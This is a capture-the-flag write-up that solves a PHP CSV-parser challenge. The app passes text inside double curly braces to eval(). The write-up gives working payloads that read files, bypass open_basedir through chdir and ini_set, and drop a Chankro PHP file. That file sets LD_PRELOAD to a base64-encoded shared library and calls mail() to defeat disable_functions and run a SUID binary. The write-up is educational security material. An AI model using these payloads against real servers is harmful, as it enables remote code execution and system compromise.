Synopsis

The website contained a CSV parser application which was vulnerable to a code injection vulnerability in how it parses certain payloads.

Based on the provided Dockerfile, the server is known to have a root-owned SUID binary located at /opt/readflag which would read the flag contained at /root/flag.txt.

The PHP version running on the server was vulnerable to an open_basedir bypass that would allow files outside of the webroot to be read. The configuration of the disable_functions property made it impossible to execute commands such as system, shell_exec, exec, popen, etc.

In order to execute the /opt/readflag binary, we use the LD_PRELOAD trick to load our own shared library to override the behavior of sendmail to execute our own commands, write a PHP file to the web server which executes the mail function which in turn executes the sendmail program on the system, bypassing any protections that the web server had in place such as open_basedir and disable_functions.

Note: This was an unintended solution to the problem.

Prompt

Prompt

Solution

The following files were provided:

$ tree CmonSeemyVulns/
CmonSeemyVulns/
├── config
│   ├── php.ini
│   └── proxy.conf
├── csvparser.so
├── Dockerfile
├── entrypoint.sh
├── flag.txt
├── readflag.c
└── src
    ├── index.php
    └── info.php

Visiting the website, we can see that it is hosting an application which reads in a CSV and parses it. Additionally, it mentions that any expression enclosed with double curly braces would be evaluated (intended for mathematical expressions).

Website

Since the source code for the website was provided, we can verify this:

<?php

function do_calcs($csv){
  preg_match_all("/{{([^}]*)}}/", $csv, $matches);

  foreach ($matches[1] as &$val){
    $csv = str_replace("{{" . $val . "}}", eval("return " . $val . ";"), $csv);
  }

  return $csv;
}

/* main */
if ($_SERVER['REQUEST_METHOD'] == "POST"){
  if (isset($_POST['csv'])){
    // do the math calculations
    $csv = trim(do_calcs($_POST['csv']));
    $csv = str_replace("\r\n", "\n", $csv); // replace CRLF to LF

    print("CSV IS " . $csv);

    $result = csv_parse($csv);
    print_r($result);
  }
  else{
    die("Missing param csv");
  }
}

?>

We can clearly see that eval is called and passed the contents of whatever is enclosed within the double curly braces. This obviously means that we can inject arbitrary PHP code and have it execute on the webserver.

We can try to read the contents of the files in the webroot with the following payload:

f1,f2
1,{{file_get_contents('index.php')}}

File read payload

File read result

We can successfully read the source of the index.php file. Let’s try to read something outside of the webroot.

f1,f2
1,{{file_get_contents('/etc/passwd')}}

passwd read result

We were not able to read the contents of /etc/passwd. I ran the application locally (the Dockerfile was provided) and used the same payload, this time inspecting the web server logs.

Webserver log

It looks like the web server is configured so that only files within the webroot can be read from. Based on the information at /info.php, we can see that it is probably because of the open_basedir setting.

open_basedir

There is a known method to bypass the open_basedir setting and read arbitrary files from the filesystem. It involves using chdir to go to a subdirectory within the webroot, setting open_basedir with ini_set('open_basedir', '..'), and then traversing upwards to / using chdir, and finally setting open_basedir to /, which would grant us access to files outside of the webroot.

To perform the bypass, we can use the following payload:

f1,f2,f3,f4,f5,f6,f7,f8,f9,f10
1,{{mkdir('snix')}},{{chdir('snix')}},{{ini_set('open_basedir', '..')}},chdir('..')}},{{chdir('..')}},{{chdir('..')}},{{chdir('..')}},{{ini_set('open_basedir','/')}},{{ini_get('open_basedir')}}

open_basedir bypass

open_basedir bypass output

We can see in the last field that we successfully changed the value of open_basedir to /, so we would be able to access files outside of the webroot with any subsequent commands.

The included Dockerfile makes it clear that we will need to execute the program at /opt/readflag in order to get the contents of the flag file. /opt/readflag is root-owned with the SUID bit set and the flag file is definitely not directly readable by the web server user.

$ cat Dockerfile
...

WORKDIR /opt

# Setup readflag binary
COPY ./readflag.c readflag.c
RUN gcc readflag.c -o readflag && chmod 4777 readflag && rm readflag.c

# Copy flag
COPY flag.txt /root/flag.txt

...

The source code of the readflag binary is also included and is very simple. It simply outputs the contents of the flag:

$ cat readflag.c
#include <stdlib.h>
#include <unistd.h>

int main(void){
    setuid(0);
    system("cat /root/flag.txt");

    return 0;
}

However, as we can see in the disable_functions property in the /info.php page, most of the PHP functions that could typically be used to execute commands on the system are disabled.

open_basedir bypass output

After some research, I discovered that there is a method published by Tarlogic to bypass both disable_functions and open_basedir by writing a PHP file to the web server which calls the mail function. The PHP mail function executes the program sendmail on the system, and if we call putenv to set the LD_PRELOAD environment variable to point to our own shared library, we would be able to make mail execute arbitrary commands on the system, ignoring whatever restrictions the web server has in place such as open_basedir and disable_functions.

More information can be found at https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/.

Tarlogic has also provided a tool which can be used to exploit the aforementioned vulnerability at https://github.com/TarlogicSecurity/Chankro.

We can generate a payload that simply executes /opt/readflag and outputs it to a file that we would be able to read from with the following commands:

$ git clone https://github.com/TarlogicSecurity/Chankro.git && cd Chankro
$ echo '/opt/readflag > /var/www/html/here' > rf.sh"
$ python2 chankro.py --arch 64 --input rf.sh --output rf.php --path /var/www/html

This will produce a PHP file which we will write to the webserver using file_put_contents.

f1,f2,f3,f4,f5,f6,f7,f8,f9,f10,f11
1,{{mkdir('snix')}},{{chdir('snix')}},{{ini_set('open_basedir', '..')}},{{ini_get('open_basedir')}},{{chdir('..')}},{{chdir('..')}},{{chdir('..')}},{{chdir('..')}},{{ini_set('open_basedir','/')}},{{file_put_contents("/var/www/html/pwn.php", "<?php
 \$hook = 'f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAA4AcAAAAAAABAAAAAAAAAAPgZAAAAAAAAAAAAAEAAOAAHAEAAHQAcAAEAAAAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbAoAAAAAAABsCgAAAAAAAAAAIAAAAAAAAQAAAAYAAAD4DQAAAAAAAPgNIAAAAAAA+A0gAAAAAABwAgAAAAAAAHgCAAAAAAAAAAAgAAAAAAACAAAABgAAABgOAAAAAAAAGA4gAAAAAAAYDiAAAAAAAMABAAAAAAAAwAEAAAAAAAAIAAAAAAAAAAQAAAAEAAAAyAEAAAAAAADIAQAAAAAAAMgBAAAAAAAAJAAAAAAAAAAkAAAAAAAAAAQAAAAAAAAAUOV0ZAQAAAB4CQAAAAAAAHgJAAAAAAAAeAkAAAAAAAA0AAAAAAAAADQAAAAAAAAABAAAAAAAAABR5XRkBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAFLldGQEAAAA+A0AAAAAAAD4DSAAAAAAAPgNIAAAAAAACAIAAAAAAAAIAgAAAAAAAAEAA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APsYAAAAAAAA9gAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAA=';
\$meterpreter = 'L29wdC9yZWFkZmxhZyA+IC92YXIvd3d3L2h0bWwvaGVyZQo=';
file_put_contents('/var/www/html/chankro.so', base64_decode(\$hook));
file_put_contents('/var/www/html/acpid.socket', base64_decode(\$meterpreter));
putenv('CHANKRO=/var/www/html/acpid.socket');
putenv('LD_PRELOAD=/var/www/html/chankro.so');
mail('a','a','a','a');?>")}}

I realized afterwards that the payload can be simplified since the Chankro tool does the open_basedir bypass already so we can remove the initial portion of the payload which sets the open_basedir value to /. I am leaving the open_basedir bypass in this writeup since I thought it was interesting:

f1
{{file_put_contents("/var/www/html/revb.php", "<?php
 \$hook = 'f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAA4AcAAAAAAABAAAAAAAAAAPgZAAAAAAAAAAAAAEAAOAAHAEAAHQAcAAEAAAAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbAoAAAAAAABsCgAAAAAAAAAAIAAAAAAAAQAAAAYAAAD4DQAAAAAAAPgNIAAAAAAA+A0gAAAAAABwAgAAAAAAAHgCAAAAAAAAAAAgAAAAAAACAAAABgAAABgOAAAAAAAAGA4gAAAAAAAYDiAAAAAAAMABAAAAAAAAwAEAAAAAAAAIAAAAAAAAAAQAAAAEAAAAyAEAAAAAAADIAQAAAAAAAMgBAAAAAAAAJAAAAAAAAAAkAAAAAAAAAAQAAAAAAAAAUOV0ZAQAAAB4CQAAAAAAAHgJAAAAAAAAeAkAAAAAAAA0AAAAAAAAADQAAAAAAAAABAAAAAAAAABR5XRkBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAFLldGQEAAAA+A0AAAAAAAD4DSAAAAAAAPgNIAAAAAAACAIAAAAAAAAIAgAAAAAAAAEAAAAAAAAABAAAABQAAAADAAAAR05VAGhkFopFVPvXbYbBilBq7Sd8S1krAAA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AAA=';
\$meterpreter = 'L29wdC9yZWFkZmxhZwo=';
file_put_contents('/var/www/html/chankro.so', base64_decode(\$hook));
file_put_contents('/var/www/html/acpid.socket', base64_decode(\$meterpreter));
putenv('CHANKRO=/var/www/html/acpid.socket');
putenv('LD_PRELOAD=/var/www/html/chankro.so');
mail('a','a','a','a');?>")}}

Navigate to the file that we have just written to execute /opt/readflag:

http://cmon-see-my-vulns.pwn2win.party:1337/pwn.php.

Now, navigate to the file that our script should have written the flag to:

http://cmon-see-my-vulns.pwn2win.party:1337/here.

Flag

Flag: CTF-BR{Pwn1nG_'tiL_th3_Zend@1337!}

Additional Resources: